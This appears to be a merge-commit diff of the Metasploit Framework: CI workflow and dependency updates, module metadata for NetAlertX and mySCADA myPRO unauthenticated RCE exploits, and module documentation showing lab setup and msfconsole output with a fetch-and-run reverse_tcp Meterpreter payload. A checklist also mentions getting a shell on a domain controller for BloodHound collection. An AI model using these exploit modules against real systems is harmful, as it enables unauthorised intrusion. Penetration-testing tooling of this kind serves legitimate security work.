Merge branch 'rapid7:master' into fileless_elf_execution
This commit is contained in:
@@ -66,7 +66,7 @@ jobs:
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
ruby:
|
||||
- 3.1.5
|
||||
- '3.2'
|
||||
include:
|
||||
# Powershell
|
||||
- { command_shell: { name: powershell }, os: windows-2019 }
|
||||
|
||||
@@ -38,7 +38,7 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
|
||||
@@ -30,11 +30,11 @@ on:
|
||||
type: boolean
|
||||
|
||||
jobs:
|
||||
# Compile Java Meterpreter via docker if required, we can't always do this on the
|
||||
# Compile the Meterpreter payloads via docker if required, we can't always do this on the
|
||||
# host environment (i.e. for macos). So it instead gets compiled first on a linux
|
||||
# host, then the artifacts are copied back to the host later
|
||||
java_meterpreter_compilation:
|
||||
name: Compile Java Meterpreter
|
||||
meterpreter_compilation:
|
||||
name: Compile Meterpreter
|
||||
runs-on: ubuntu-latest
|
||||
if: ${{ inputs.build_metasploit_payloads }}
|
||||
|
||||
@@ -46,21 +46,22 @@ jobs:
|
||||
path: metasploit-payloads
|
||||
ref: ${{ inputs.metasploit_payloads_commit }}
|
||||
|
||||
- name: Build Java and Android payloads
|
||||
- name: Build Meterpreter payloads
|
||||
run: |
|
||||
mkdir $(pwd)/java-artifacts
|
||||
docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package"
|
||||
mkdir $(pwd)/meterpreter-artifacts
|
||||
docker run --rm -w $(pwd) -v $(pwd):$(pwd) rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "cd metasploit-payloads/gem && rake create_dir && rake win_copy && rake php_prep && rake java_prep && rake python_prep && rake create_manifest && rake build"
|
||||
cp $(pwd)/metasploit-payloads/gem/pkg/metasploit-payloads-* $(pwd)/meterpreter-artifacts
|
||||
|
||||
- name: Store Java artifacts
|
||||
- name: Store Meterpreter artifacts
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: java-artifacts
|
||||
path: java-artifacts
|
||||
name: meterpreter-artifacts
|
||||
path: meterpreter-artifacts
|
||||
|
||||
# Run all test individually, note there is a separate final job for aggregating the test results
|
||||
test:
|
||||
needs: java_meterpreter_compilation
|
||||
if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped')
|
||||
needs: meterpreter_compilation
|
||||
if: always() && (needs.meterpreter_compilation.result == 'success' || needs.meterpreter_compilation.result == 'skipped')
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
@@ -70,7 +71,7 @@ jobs:
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
ruby:
|
||||
- 3.1.5
|
||||
- '3.2'
|
||||
meterpreter:
|
||||
# Python
|
||||
- { name: python, runtime_version: 3.6 }
|
||||
@@ -208,28 +209,28 @@ jobs:
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
name: Download Java meterpreter
|
||||
id: download_java_meterpreter
|
||||
if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }}
|
||||
name: Download Meterpreter
|
||||
id: download_meterpreter
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && inputs.build_metasploit_payloads }}
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: Extract Java Meterpreter (Unix)
|
||||
if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
|
||||
- name: Extract Meterpreter (Unix)
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -x
|
||||
download_path=${{steps.download_java_meterpreter.outputs.download-path}}
|
||||
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
|
||||
download_path=${{steps.download_meterpreter.outputs.download-path}}
|
||||
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
|
||||
|
||||
- name: Extract Java Meterpreter (Windows)
|
||||
if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
|
||||
- name: Extract Meterpreter (Windows)
|
||||
if: ${{ matrix.meterpreter.name != 'mettle' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -x
|
||||
download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}')
|
||||
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
|
||||
download_path=$(cygpath -u '${{steps.download_meterpreter.outputs.download-path}}')
|
||||
cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
|
||||
|
||||
- name: Install mettle gem
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
|
||||
@@ -250,32 +251,6 @@ jobs:
|
||||
path: metasploit-payloads
|
||||
ref: ${{ inputs.metasploit_payloads_commit }}
|
||||
|
||||
- name: Get metasploit-payloads version
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: gem build ./gem/metasploit-payloads.gemspec
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Copy metasploit-payloads gem into metasploit-framework
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem .
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
|
||||
bundle config unset deployment
|
||||
bundle update metasploit-payloads
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2019 Build (Windows)
|
||||
shell: cmd
|
||||
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }}
|
||||
@@ -294,12 +269,39 @@ jobs:
|
||||
make.bat
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build PHP, Python and Windows payloads
|
||||
if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }}
|
||||
run: |
|
||||
make install-php install-python install-windows
|
||||
- name: Get metasploit-payloads version
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Remove metasploit-payloads version from metasploit-framework.gemspec
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' }}
|
||||
run: |
|
||||
ruby -pi -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Remove metasploit-payloads version from metasploit-framework.gemspec (Windows)
|
||||
if: ${{ inputs.build_metasploit_payloads && (runner.os == 'Windows' && matrix.meterpreter.name != 'windows_meterpreter') && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: cmd
|
||||
run: |
|
||||
ruby -pi.bak -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Bundle update/install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle config unset deployment
|
||||
bundle update metasploit-payloads
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
|
||||
@@ -60,7 +60,6 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3'
|
||||
- '3.4'
|
||||
@@ -69,7 +68,7 @@ jobs:
|
||||
- ubuntu-latest
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
ruby: '3.2'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
name: Weekly Data and External Tool Updater
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: write
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: write
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
schedule:
|
||||
# Run once a week (e.g., every Monday at 01:00 UTC)
|
||||
- cron: '0 1 * * 1'
|
||||
workflow_dispatch: # Allows manual triggering from the Actions tab
|
||||
|
||||
jobs:
|
||||
update-data-files:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
if: github.repository_owner == 'rapid7'
|
||||
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Run Ruby updater scripts
|
||||
run: |
|
||||
ruby tools/dev/update_wordpress_vulnerabilities.rb
|
||||
ruby tools/dev/update_joomla_components.rb
|
||||
ruby tools/dev/update_user_agent_strings.rb
|
||||
ruby tools/dev/check_external_scripts.rb -u
|
||||
- name: Remove vendor folder # prevent git from adding it
|
||||
run: rm -rf vendor
|
||||
|
||||
- name: Create Pull Request
|
||||
uses: peter-evans/create-pull-request@v7
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
commit-message: Update report
|
||||
base: master
|
||||
branch: weekly-updates
|
||||
committer: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
|
||||
author: github-actions[bot] <github-actions[bot]@users.noreply.github.com>
|
||||
title: "Weekly Data Update"
|
||||
draft: false
|
||||
body: |
|
||||
This pull request was created automatically by a GitHub Action to update data files and external scripts.
|
||||
The following tools were run:
|
||||
- ruby tools/dev/update_wordpress_vulnerabilities.rb
|
||||
- ruby tools/dev/update_joomla_components.rb
|
||||
- ruby tools/dev/update_user_agent_strings.rb
|
||||
- ruby tools/dev/check_external_scripts.rb -u
|
||||
## Verification
|
||||
### Wordpress/Joomla Files
|
||||
- [ ] Do a sanity check, do the additions look legit?
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use modules/auxiliary/scanner/http/wordpress_scanner`
|
||||
- [ ] **Verify** it runs
|
||||
### JTR Files
|
||||
- [ ] Do a sanity check, do the additions look legit?
|
||||
- [ ] See https://docs.metasploit.com/docs/using-metasploit/intermediate/hashes-and-password-cracking.html#example-hashes for hashes and cracking
|
||||
### SharpHound
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] get a shell on a DC or box connected to a dc
|
||||
- [ ] `use post/windows/gather/bloodhound`
|
||||
- [ ] `set session`
|
||||
- [ ] `run`
|
||||
- [ ] **Verify** it runs w/o erroring
|
||||
- [ ] `set method disk`
|
||||
- [ ] **Verify** it runs w/o erroring
|
||||
+3
-3
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.48)
|
||||
metasploit-framework (6.4.50)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.0.0)
|
||||
@@ -323,7 +323,7 @@ GEM
|
||||
logger
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2024.1001)
|
||||
mini_portile2 (2.8.7)
|
||||
mini_portile2 (2.8.8)
|
||||
minitest (5.25.1)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
@@ -346,7 +346,7 @@ GEM
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.7.4)
|
||||
nokogiri (1.16.7)
|
||||
nokogiri (1.18.2)
|
||||
mini_portile2 (~> 2.8.2)
|
||||
racc (~> 1.4)
|
||||
nori (2.7.1)
|
||||
|
||||
+3
-3
@@ -90,7 +90,7 @@ memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.3, "New BSD"
|
||||
metasploit-credential, 6.0.11, "New BSD"
|
||||
metasploit-framework, 6.4.48, "New BSD"
|
||||
metasploit-framework, 6.4.50, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.5, "New BSD"
|
||||
@@ -98,7 +98,7 @@ metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.6.0, MIT
|
||||
mime-types-data, 3.2024.1001, MIT
|
||||
mini_portile2, 2.8.7, MIT
|
||||
mini_portile2, 2.8.8, MIT
|
||||
minitest, 5.25.1, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
@@ -115,7 +115,7 @@ net-ssh, 7.3.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.7.4, "MIT, Simplified BSD"
|
||||
nokogiri, 1.16.7, MIT
|
||||
nokogiri, 1.18.2, MIT
|
||||
nori, 2.7.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
|
||||
@@ -10,6 +10,8 @@ info:
|
||||
x-cortex-type: service
|
||||
x-cortex-domain-parents:
|
||||
- tag: metasploit
|
||||
x-cortex-groups:
|
||||
- exposure:external-ship
|
||||
openapi: 3.0.1
|
||||
servers:
|
||||
- url: "/"
|
||||
|
||||
@@ -6802,7 +6802,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-01-28 17:20:10 +0000",
|
||||
"mod_time": "2025-01-30 17:27:49 +0000",
|
||||
"path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/ldap/ad_cs_cert_template",
|
||||
@@ -24175,7 +24175,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2025-01-31 14:48:57 +0000",
|
||||
"mod_time": "2025-02-11 20:49:08 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_esc_vulnerable_cert_finder",
|
||||
@@ -62377,7 +62377,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2024-11-12 18:23:31 +0000",
|
||||
"mod_time": "2025-02-04 15:41:33 +0000",
|
||||
"path": "/modules/auxiliary/server/relay/esc8.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/relay/esc8",
|
||||
@@ -79530,6 +79530,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/netalertx_rce_cve_2024_46506": {
|
||||
"name": "Unauthenticated RCE in NetAlertX",
|
||||
"fullname": "exploit/linux/http/netalertx_rce_cve_2024_46506",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2025-01-30",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Chebuya (Rhino Security Labs)",
|
||||
"Takahiro Yokoyama"
|
||||
],
|
||||
"description": "An attacker can update NetAlertX settings with no authentication, which results in RCE.",
|
||||
"references": [
|
||||
"CVE-2024-46506",
|
||||
"URL-https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "",
|
||||
"rport": 20211,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux Command"
|
||||
],
|
||||
"mod_time": "2025-02-11 11:25:24 +0000",
|
||||
"path": "/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/netalertx_rce_cve_2024_46506",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes",
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/netgear_dgn1000_setup_unauth_exec": {
|
||||
"name": "Netgear DGN1000 Setup.cgi Unauthenticated RCE",
|
||||
"fullname": "exploit/linux/http/netgear_dgn1000_setup_unauth_exec",
|
||||
@@ -192323,6 +192385,65 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/scada/mypro_mgr_cmd": {
|
||||
"name": "mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)",
|
||||
"fullname": "exploit/windows/scada/mypro_mgr_cmd",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2024-11-21",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Michael Heinzl"
|
||||
],
|
||||
"description": "Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.\n The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.",
|
||||
"references": [
|
||||
"URL-https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07",
|
||||
"CVE-2024-47407"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": 34022,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows_Fetch"
|
||||
],
|
||||
"mod_time": "2025-01-29 20:18:05 +0000",
|
||||
"path": "/modules/exploits/windows/scada/mypro_mgr_cmd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/scada/mypro_mgr_cmd",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/scada/procyon_core_server": {
|
||||
"name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow",
|
||||
"fullname": "exploit/windows/scada/procyon_core_server",
|
||||
|
||||
@@ -86,8 +86,7 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: *
|
||||
options](#Filtering-datastore-options) section for more information.
|
||||
* **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is
|
||||
defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also
|
||||
support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is
|
||||
currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole
|
||||
support gracefully checking a list of more generic fallbacks option names such as `Username`.
|
||||
|
||||
Now let's talk about what classes are available:
|
||||
|
||||
|
||||
@@ -15,27 +15,27 @@ Once the appropriate repository label is added, you will need to edit the GitHub
|
||||
repository and branch you want to test. Below I will outline some changes that are required to make this work, update
|
||||
the following lines like so:
|
||||
|
||||
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L188):
|
||||
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189):
|
||||
```yaml
|
||||
repository: foo-r7/metasploit-framework
|
||||
```
|
||||
|
||||
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L190):
|
||||
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191):
|
||||
```yaml
|
||||
ref: fixes-all-the-bugs
|
||||
```
|
||||
|
||||
3. Point at your forked repository that contains the payload changes you'd like to test - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L249)
|
||||
3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250):
|
||||
```yaml
|
||||
repository: foo-r7/metasploit-payloads
|
||||
```
|
||||
|
||||
4. Point at your forked repository branch that contains the payload changes you'd like to test - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L251):
|
||||
4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252):
|
||||
```yaml
|
||||
ref: fixes-all-the-payload-bugs
|
||||
```
|
||||
|
||||
Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the
|
||||
following lines would need updated:
|
||||
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L155).
|
||||
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L157).
|
||||
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156).
|
||||
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158).
|
||||
|
||||
@@ -20,10 +20,12 @@ The issue mode. This controls what the module will do once an authenticated sess
|
||||
server. Must be one of the following options:
|
||||
|
||||
* ALL: Enumerate all available certificate templates and then issue each of them
|
||||
* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a
|
||||
user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it
|
||||
is a machine account.
|
||||
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any
|
||||
* AUTO: Automatically select either the `User` or `DomainController` and `Machine` (`Computer`) templates to issue
|
||||
based on if the authenticated user is a user or machine account. The determination is based on checking for a `$`
|
||||
at the end of the name, which means that it is a machine account.
|
||||
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates
|
||||
available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
|
||||
include `Machine` (AKA `Computer`) and `DomainController`
|
||||
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
|
||||
|
||||
### CERT_TEMPLATE
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
## Vulnerable Application
|
||||
|
||||
An attacker can update NetAlertX settings with no authentication, which results in RCE.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* v23.01.14 <= NetAlertX <= v24.9.12
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull jokobsk/netalertx:24.9.12`
|
||||
|
||||
2. docker run
|
||||
```bash
|
||||
docker run --rm --network=host \
|
||||
-v /tmp/netalertx:/app/config \
|
||||
-v /tmp/netalertx:/app/db \
|
||||
-e TZ=Europe/Berlin \
|
||||
-e PORT=20211 \
|
||||
jokobsk/netalertx:24.9.12
|
||||
```
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
### WAIT (required)
|
||||
Wait time (seconds) for the payload to be set. Default is `75`.
|
||||
|
||||
### CLEANUP
|
||||
Restore DBCLNP_CMD to original value after execution. Default is `true`.
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options
|
||||
|
||||
Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CLEANUP true no Restore DBCLNP_CMD to original value after execution
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 20211 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
WAIT 75 yes Wait time (seconds) for the payload to be set
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
|
